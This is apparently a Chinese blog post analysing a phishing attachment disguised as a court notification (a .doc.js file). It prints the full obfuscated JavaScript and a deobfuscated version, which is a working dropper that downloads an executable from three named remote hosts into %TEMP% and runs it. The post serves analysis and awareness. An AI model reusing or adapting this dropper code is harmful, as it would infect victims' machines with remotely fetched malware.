[关闭]
@3013216027 2016-01-23T10:31:16.000000Z 字数 14362 阅读 1226

这是啥？

tmp

最近连续收到大概10封电子邮件，内容或者是说劳资欠款了，或者是要我去法院玩耍了。还尼玛带一个小小的诡异的附件。窝决定看一下是个啥...
->邮件截图

附件解压后是Court_Notification_00000681198.doc.js
你说你后缀这么迷惑人显然并没有什么好东西，，傻逼才会打开看呀o.o

但是窝打开看了...

  1. var stroke="5556575E535257505454505C572415154A070B09";function a154() { return 'xa'; };  function a221() { return '9251'; };  function a167() { return 'y {'; };  function a140() { return 'Res'; };  function a121() { return 'r xa '; };  function a84() { return 'r x'; };  function a58() { return 'P%'; };  function a78() { return '+".ex'; };  function a175() { return '{};'; };  function a71() { return '(M'; };  function a129() { return 'ream'; };  function a54() { return 'Stri'; };  function a65() { return '92'; };  function a108() { return '.re'; };  function a185() { return '"GET'; };  function a38() { return ' Acti'; };  function a181() { return ' try'; };  function a0() { return 'eval'; };  function a150() { return '0) '; };  function a139() { return 'e(xo.'; };  function a45() { return '"); '; };  function a118() { return ' 2'; };  function a5() { return ') {'; };  function a119() { return '00) {'; };  function a217() { return ' 1) b'; };  function a100() { return 'hang'; };  function a143() { return 'dy); '; };  function a194() { return 'ent.'; };  function a93() { return 'ML'; };  function a174() { return '(er) '; };  function a25() { return ' fo'; };  function a161() { return 'eToF'; };  function a153() { return ' 1; '; };  function a227() { return '13)'; };  function a81() { return 'dn'; };  function a212() { return 'er) '; };  function a51() { return 'Envi'; };  function a102() { return 'unct'; };  function a144() { return 'if'; };  function a218() { return 'reak;'; };  var av = '';  function a8() { return ' "so'; };  function a188() { return '//"'; };  function a198() { return '"+fr'; };  function a43() { return 'ript.'; };  function a21() { return 'pl'; };  function a66() { return ')+M'; };  function a77() { return '00)'; };  function a64() { return 'ode('; };  function a127() { return '"ADOD'; };  function a186() { return '","'; };  function a165() { return ',2);'; };  function a42() { return 'WSc'; };  function a52() { return 'ro'; };  function a74() { return 'om()'; };  function a26() { return 'r (v'; };  function a128() { return 'B.St'; };  function a177() { return 'xa.c'; };  function a29() { return ' i<'; };  function a103() { return 'io'; };  function a195() { return 'ph'; };  function a28() { return '=0;'; };  function a190() { return ']+"'; };  function a46() { return 'var'; };  function a224() { return '65'; };  function a2() { return 'ction'; };  function a159() { return 'a.s'; };  function a170() { return ',1'; };  function a105() { return ') {'; };  function a207() { return '()'; };  function a126() { return 'ject('; };  function a94() { return 'HTT'; };  function a17() { return 'cured'; };  function a13() { return '9.11'; };  function a155() { return '.posi'; };  function a168() { return ' ws.R'; };  function a95() { return 'P"); '; };  function a36() { return '= '; };  function a53() { return 'nment'; };  function a24() { return ');'; };  function a160() { return 'av'; };  function a208() { return '; }'; };  function a62() { return 'omCha'; };  function a27() { return 'ar i'; };  function a135() { return 'pe = '; };  function a192() { return 'oc'; };  function a206() { return 'send'; };  function a151() { return '{ d'; };  function a83() { return '0; va'; };  function a3() { return ' d'; };  function a211() { return 'ch ('; };  function a112() { return ' &'; };  function a16() { return 'se'; };  function a156() { return 'ti'; };  function a50() { return 'xpand'; };  function a163() { return 'e('; };  function a226() { return 'l(39'; };  function a204() { return 'se);'; };  function a92() { return '2.X'; };  function a182() { return ' { x'; };  function a113() { return '& '; };  function a9() { return 'flec'; };  function a162() { return 'il'; };  function a166() { return ' tr'; };  function a152() { return 'n ='; };  function a80() { return 'var '; };  function a179() { return '); '; };  function a141() { return 'po'; };  function a48() { return 'n = '; };  function a117() { return 'us =='; };  function a60() { return 'Stri'; };  function a76() { return '000'; };  function a183() { return 'o.op'; };  function a131() { return 'a.ope'; };  function a40() { return 'bject'; };  function a114() { return 'xo.'; };  function a101() { return 'e = f'; };  function a147() { return '.siz'; };  function a90() { return 'ct("'; };  function a14() { return '5.1'; };  function a201() { return 'str'; };  function a44() { return 'Shell'; };  function a35() { return ' ws '; };  function a12() { return '23'; };  function a39() { return 'veXO'; };  function a55() { return 'ng'; };  function a191() { return '/d'; };  function a209() { return ' c'; };  function a213() { return '{};'; };  function a169() { return 'un(fn'; };  function a111() { return ' == 4'; };  function a210() { return 'at'; };  function a1() { return 'fun'; };  function a96() { return 'xo.'; };  function a69() { return 'ou'; };  function a37() { return 'new'; };  function a203() { return ' fal'; };  function a215() { return '(dn '; };  function a34() { return ' var'; };  function a106() { return ' if ('; };  function a124() { return 'ti'; };  function a222() { return '); '; };  function a157() { return 'on = '; };  function a99() { return 'atec'; };  function a11() { return ' 64.'; };  function a176() { return ' }; '; };  function a32() { return 'h; i'; };  function a110() { return 'State'; };  function a10() { return 't.com'; };  function a59() { return '")+'; };  function a125() { return 'veXOb'; };  function a115() { return 'st'; };  function a7() { return 'b ='; };  function a130() { return '"); x'; };  function a193() { return 'um'; };  function a98() { return 'adyst'; };  function a31() { return 'lengt'; };  function a47() { return ' f'; };  function a214() { return ' if '; };  function a67() { return 'at'; };  function a205() { return ' xo.'; };  function a20() { return '.s'; };  function a49() { return 'ws.E'; };  function a184() { return 'en('; };  function a68() { return 'h.r'; };  function a89() { return 'XObje'; };  function a4() { return 'l(fr'; };  function a172() { return '} ca'; };  function a15() { return '11 id'; };  function a109() { return 'ady'; };  function a225() { return '2); d'; };  function a33() { return '++) {'; };  function a91() { return 'MSXML'; };  function a158() { return '0; x'; };  function a220() { return '; dl('; };  function a57() { return '"%TEM'; };  function a228() { return ';'; };  function a223() { return 'dl(6'; };  function a164() { return 'fn'; };  function a56() { return 's('; };  function a63() { return 'rC'; };  function a178() { return 'lose('; };  function a202() { return 'oke,'; };  function a197() { return 'rnd='; };  function a120() { return ' va'; };  function a122() { return '= new'; };  function a149() { return ' 500'; };  function a145() { return ' ('; };  function a88() { return 'tive'; };  function a134() { return 'a.ty'; };  function a23() { return '(" "'; };  function a18() { return 'now'; };  function a137() { return ' xa.w'; };  function a148() { return 'e >'; };  function a138() { return 'rit'; };  function a171() { return ',0); '; };  function a87() { return ' Ac'; };  function a75() { return '*1000'; };  function a200() { return '="+'; };  function a180() { return '}; };'; };  function a22() { return 'it'; };  function a104() { return 'n('; };  function a146() { return 'xa'; };  function a216() { return '=='; };  function a116() { return 'at'; };  function a133() { return '); x'; };  function a85() { return 'o = n'; };  function a6() { return ' var '; };  function a97() { return 'onre'; };  function a196() { return 'p?'; };  function a107() { return 'xo'; };  function a199() { return '+"&id'; };  function a70() { return 'nd'; };  function a30() { return 'b.'; };  function a132() { return 'n('; };  function a189() { return '+b[i'; };  function a41() { return '("'; };  function a19() { return '.com"'; };  function a142() { return 'nseBo'; };  function a82() { return ' = '; };  function a219() { return ' } }'; };  function a79() { return 'e"; '; };  function a86() { return 'ew'; };  function a187() { return 'http:'; };  function a72() { return 'ath'; };  function a73() { return '.rand'; };  function a173() { return 'tch '; };  function a123() { return ' Ac'; };  function a61() { return 'ng.fr'; };  function a136() { return '1;'; }; for (var scf=1; scf<=228; scf++) { av += this['a'+scf](); } this[a0()](av);

压缩了回车o.o

简单地处理一下，大概还能看：

  1. var stroke="5556575E535257505454505C572415154A070B09";
  2. function a154() { return 'xa';
  3. };
  4. function a221() { return '9251';
  5. };
  6. function a167() { return 'y {';
  7. };
  8. function a140() { return 'Res';
  9. };
  10. function a121() { return 'r xa ';
  11. };
  12. function a84() { return 'r x';
  13. };
  14. function a58() { return 'P%';
  15. };
  16. function a78() { return '+".ex';
  17. };
  18. function a175() { return '{};';
  19. };
  20. function a71() { return '(M';
  21.     };
  22.     function a129() { return 'ream';
  23.     };
  24.     function a54() { return 'Stri';
  25.     };
  26.     function a65() { return '92';
  27.     };
  28.     function a108() { return '.re';
  29.     };
  30.     function a185() { return '"GET';
  31.     };
  32.     function a38() { return ' Acti';
  33.     };
  34.     function a181() { return ' try';
  35.     };
  36.     function a0() { return 'eval';
  37.     };
  38.     function a150() { return '0) ';
  39. };
  40. function a139() { return 'e(xo.';
  41.     };
  42.     function a45() { return '");';
  43.     };
  44. function a118() { return ' 2';
  45. };
  46. function a5() { return ') {';
  47. };
  48. function a119() { return '00) {';
  49. };
  50. function a217() { return ' 1) b';
  51. };
  52. function a100() { return 'hang';
  53. };
  54. function a143() { return 'dy);';
  55. };
  56. function a194() { return 'ent.';
  57. };
  58. function a93() { return 'ML';
  59. };
  60. function a174() { return '(er) ';
  61. };
  62. function a25() { return ' fo';
  63. };
  64. function a161() { return 'eToF';
  65. };
  66. function a153() { return ' 1;';
  67. };
  68. function a227() { return '13)';
  69. };
  70. function a81() { return 'dn';
  71. };
  72. function a212() { return 'er) ';
  73. };
  74. function a51() { return 'Envi';
  75. };
  76. function a102() { return 'unct';
  77. };
  78. function a144() { return 'if';
  79. };
  80. function a218() { return 'reak;';
  81. };
  82. var av = '';
  83. function a8() { return ' "so';
  84. };
  85. function a188() { return '//"';
  86. };
  87. function a198() { return '"+fr';
  88. };
  89. function a43() { return 'ript.';
  90. };
  91. function a21() { return 'pl';
  92. };
  93. function a66() { return ')+M';
  94. };
  95. function a77() { return '00)';
  96. };
  97. function a64() { return 'ode(';
  98.     };
  99.     function a127() { return '"ADOD';
  100.     };
  101.     function a186() { return '","';
  102.     };
  103.     function a165() { return ',2);';
  104. };
  105. function a42() { return 'WSc';
  106. };
  107. function a52() { return 'ro';
  108. };
  109. function a74() { return 'om()';
  110. };
  111. function a26() { return 'r (v';
  112.     };
  113.     function a128() { return 'B.St';
  114.     };
  115.     function a177() { return 'xa.c';
  116.     };
  117.     function a29() { return ' i<';
  118.     };
  119.     function a103() { return 'io';
  120.     };
  121.     function a195() { return 'ph';
  122.     };
  123.     function a28() { return '=0;';
  124.     };
  125.     function a190() { return ']+"';
  126.     };
  127.     function a46() { return 'var';
  128.     };
  129.     function a224() { return '65';
  130.     };
  131. function a2() { return 'ction';
  132. };
  133. function a159() { return 'a.s';
  134. };
  135. function a170() { return ',1';
  136. };
  137. function a105() { return ') {';
  138. };
  139. function a207() { return '()';
  140. };
  141. function a126() { return 'ject(';
  142.     };
  143.     function a94() { return 'HTT';
  144.     };
  145.     function a17() { return 'cured';
  146.     };
  147.     function a13() { return '9.11';
  148.     };
  149.     function a155() { return '.posi';
  150.     };
  151.     function a168() { return ' ws.R';
  152.     };
  153.     function a95() { return 'P");';
  154.     };
  155. function a36() { return '= ';
  156. };
  157. function a53() { return 'nment';
  158. };
  159. function a24() { return ');';
  160. };
  161. function a160() { return 'av';
  162. };
  163. function a208() { return ';}';
  164. };
  165. function a62() { return 'omCha';
  166. };
  167. function a27() { return 'ar i';
  168. };
  169. function a135() { return 'pe = ';
  170. };
  171. function a192() { return 'oc';
  172. };
  173. function a206() { return 'send';
  174. };
  175. function a151() { return '{ d';
  176. };
  177. function a83() { return '0;va';
  178. };
  179. function a3() { return ' d';
  180. };
  181. function a211() { return 'ch (';
  182.     };
  183.     function a112() { return ' &';
  184.     };
  185.     function a16() { return 'se';
  186.     };
  187.     function a156() { return 'ti';
  188.     };
  189.     function a50() { return 'xpand';
  190.     };
  191.     function a163() { return 'e(';
  192.       };
  193.       function a226() { return 'l(39';
  194.         };
  195.         function a204() { return 'se);';
  196.       };
  197.       function a92() { return '2.X';
  198.       };
  199.       function a182() { return ' { x';
  200.       };
  201.       function a113() { return '& ';
  202.       };
  203.       function a9() { return 'flec';
  204.       };
  205.       function a162() { return 'il';
  206.       };
  207.       function a166() { return ' tr';
  208.       };
  209.       function a152() { return 'n =';
  210.       };
  211.       function a80() { return 'var ';
  212.       };
  213.       function a179() { return ');';
  214.       };
  215.       function a141() { return 'po';
  216.       };
  217.       function a48() { return 'n = ';
  218.       };
  219.       function a117() { return 'us ==';
  220.       };
  221.       function a60() { return 'Stri';
  222.       };
  223.       function a76() { return '000';
  224.       };
  225.       function a183() { return 'o.op';
  226.       };
  227.       function a131() { return 'a.ope';
  228.       };
  229.       function a40() { return 'bject';
  230.       };
  231.       function a114() { return 'xo.';
  232.       };
  233.       function a101() { return 'e = f';
  234.       };
  235.       function a147() { return '.siz';
  236.       };
  237.       function a90() { return 'ct("';
  238.           };
  239.           function a14() { return '5.1';
  240.           };
  241.           function a201() { return 'str';
  242.           };
  243.           function a44() { return 'Shell';
  244.           };
  245.           function a35() { return ' ws ';
  246.           };
  247.           function a12() { return '23';
  248.           };
  249.           function a39() { return 'veXO';
  250.           };
  251.           function a55() { return 'ng';
  252.           };
  253.           function a191() { return '/d';
  254.           };
  255.           function a209() { return ' c';
  256.           };
  257.           function a213() { return '{};';
  258.           };
  259.           function a169() { return 'un(fn';
  260.               };
  261.               function a111() { return ' == 4';
  262.               };
  263.               function a210() { return 'at';
  264.               };
  265.               function a1() { return 'fun';
  266.               };
  267.               function a96() { return 'xo.';
  268.               };
  269.               function a69() { return 'ou';
  270.               };
  271.               function a37() { return 'new';
  272.               };
  273.               function a203() { return ' fal';
  274.               };
  275.               function a215() { return '(dn ';
  276.                 };
  277.                 function a34() { return ' var';
  278.                 };
  279.                 function a106() { return ' if (';
  280.                   };
  281.                   function a124() { return 'ti';
  282.                   };
  283.                   function a222() { return ');';
  284.                 };
  285.                 function a157() { return 'on = ';
  286.                 };
  287.                 function a99() { return 'atec';
  288.                 };
  289.                 function a11() { return ' 64.';
  290.                 };
  291.                 function a176() { return ' };';
  292.                 };
  293.                 function a32() { return 'h;i';
  294.                 };
  295. function a110() { return 'State';
  296. };
  297. function a10() { return 't.com';
  298. };
  299. function a59() { return '")+';
  300. };
  301. function a125() { return 'veXOb';
  302. };
  303. function a115() { return 'st';
  304. };
  305. function a7() { return 'b =';
  306. };
  307. function a130() { return '");x';
  308. };
  309. function a193() { return 'um';
  310. };
  311. function a98() { return 'adyst';
  312. };
  313. function a31() { return 'lengt';
  314. };
  315. function a47() { return ' f';
  316. };
  317. function a214() { return ' if ';
  318. };
  319. function a67() { return 'at';
  320. };
  321. function a205() { return ' xo.';
  322. };
  323. function a20() { return '.s';
  324. };
  325. function a49() { return 'ws.E';
  326. };
  327. function a184() { return 'en(';
  328.     };
  329.     function a68() { return 'h.r';
  330.     };
  331.     function a89() { return 'XObje';
  332.     };
  333.     function a4() { return 'l(fr';
  334.       };
  335.       function a172() { return '} ca';
  336.       };
  337.       function a15() { return '11 id';
  338.       };
  339.       function a109() { return 'ady';
  340.       };
  341.       function a225() { return '2);d';
  342.     };
  343.     function a33() { return '++) {';
  344. };
  345. function a91() { return 'MSXML';
  346. };
  347. function a158() { return '0;x';
  348. };
  349. function a220() { return ';dl(';
  350.       };
  351.       function a57() { return '"%TEM';
  352.       };
  353.       function a228() { return ';';
  354.       };
  355.       function a223() { return 'dl(6';
  356.         };
  357.         function a164() { return 'fn';
  358.         };
  359.         function a56() { return 's(';
  360.           };
  361.           function a63() { return 'rC';
  362.           };
  363.           function a178() { return 'lose(';
  364.             };
  365.             function a202() { return 'oke,';
  366.             };
  367.             function a197() { return 'rnd=';
  368.             };
  369.             function a120() { return ' va';
  370.             };
  371.             function a122() { return '= new';
  372.             };
  373.             function a149() { return ' 500';
  374.             };
  375.             function a145() { return ' (';
  376.               };
  377.               function a88() { return 'tive';
  378.               };
  379.               function a134() { return 'a.ty';
  380.               };
  381.               function a23() { return '(" "';
  382.                 };
  383.                 function a18() { return 'now';
  384.                 };
  385.                 function a137() { return ' xa.w';
  386.                 };
  387.                 function a148() { return 'e >';
  388.                 };
  389.                 function a138() { return 'rit';
  390.                 };
  391.                 function a171() { return ',0);';
  392.               };
  393.               function a87() { return ' Ac';
  394.               };
  395. function a75() { return '*1000';
  396. };
  397. function a200() { return '="+';
  398. };
  399. function a180() { return '};};';
  400. };
  401. function a22() { return 'it';
  402. };
  403. function a104() { return 'n(';
  404.     };
  405.     function a146() { return 'xa';
  406.     };
  407.     function a216() { return '==';
  408.     };
  409.     function a116() { return 'at';
  410.     };
  411.     function a133() { return ');x';
  412. };
  413. function a85() { return 'o = n';
  414. };
  415. function a6() { return ' var ';
  416. };
  417. function a97() { return 'onre';
  418. };
  419. function a196() { return 'p?';
  420. };
  421. function a107() { return 'xo';
  422. };
  423. function a199() { return '+"&id';
  424. };
  425. function a70() { return 'nd';
  426. };
  427. function a30() { return 'b.';
  428. };
  429. function a132() { return 'n(';
  430.     };
  431.     function a189() { return '+b[i';
  432.     };
  433.     function a41() { return '("';
  434.       };
  435.       function a19() { return '.com"';
  436.       };
  437.       function a142() { return 'nseBo';
  438.       };
  439.       function a82() { return ' = ';
  440.       };
  441.       function a219() { return ' } }';
  442.       };
  443.       function a79() { return 'e";';
  444.       };
  445.       function a86() { return 'ew';
  446.       };
  447.       function a187() { return 'http:';
  448.       };
  449.       function a72() { return 'ath';
  450.       };
  451.       function a73() { return '.rand';
  452.       };
  453. function a173() { return 'tch ';
  454. };
  455. function a123() { return ' Ac';
  456. };
  457. function a61() { return 'ng.fr';
  458. };
  459. function a136() { return '1;';
  460. };
  461. for (var scf=1; scf<=228; scf++) {
  462.   av += this['a'+scf]();
  463. }
  464. this[a0()](av);

然后注释掉this[a0()](av)，把它拼的代码导出，还是压缩的，还原了一部分回车后，简单格式化一下：

  1. function dl(fr) {
  2.   var b = "soflect.com 64.239.115.111 idsecurednow.com".split(" ");
  3.   for (var i=0;
  4.       i<b.length;
  5.       i++) {
  6.     var ws = new ActiveXObject("WScript.Shell");
  7.     var fn = ws.ExpandEnvironmentStrings("%TEMP%")+String.fromCharCode(92)+Math.round(Math.random()*100000000)+".exe";
  8.     var dn = 0;
  9.     var xo = new ActiveXObject("MSXML2.XMLHTTP");
  10.     xo.onreadystatechange = function() {
  11.       if (xo.readyState == 4 && xo.status == 200) {
  12.         var xa = new ActiveXObject("ADODB.Stream");
  13.         xa.open();
  14.         xa.type = 1;
  15.         xa.write(xo.ResponseBody);
  16.         if (xa.size > 5000) {
  17.           dn = 1;
  18.           xa.position = 0;
  19.           xa.saveToFile(fn,2);
  20.           try {
  21.             ws.Run(fn,1,0);
  22.           } catch (er) {
  23.           };
  24.         };
  25.         xa.close();
  26.       };
  27.     };
  28.     try {
  29.       xo.open("GET","http://"+b[i]+"/document.php?rnd="+fr+"&id="+stroke, false);
  30.       xo.send();
  31.     } catch (er) {
  32.     };
  33.     if (dn == 1) break;
  34.   } };
  35. dl(9251);
  36. dl(6652);
  37. dl(3913);

看起来是搞了个啥病毒之类的样子，而且是从服务器取下后才开始做事。。然后问题来了，它到底做了什么...

添加新批注
在作者公开此批注前，只有你和作者可见。
回复批注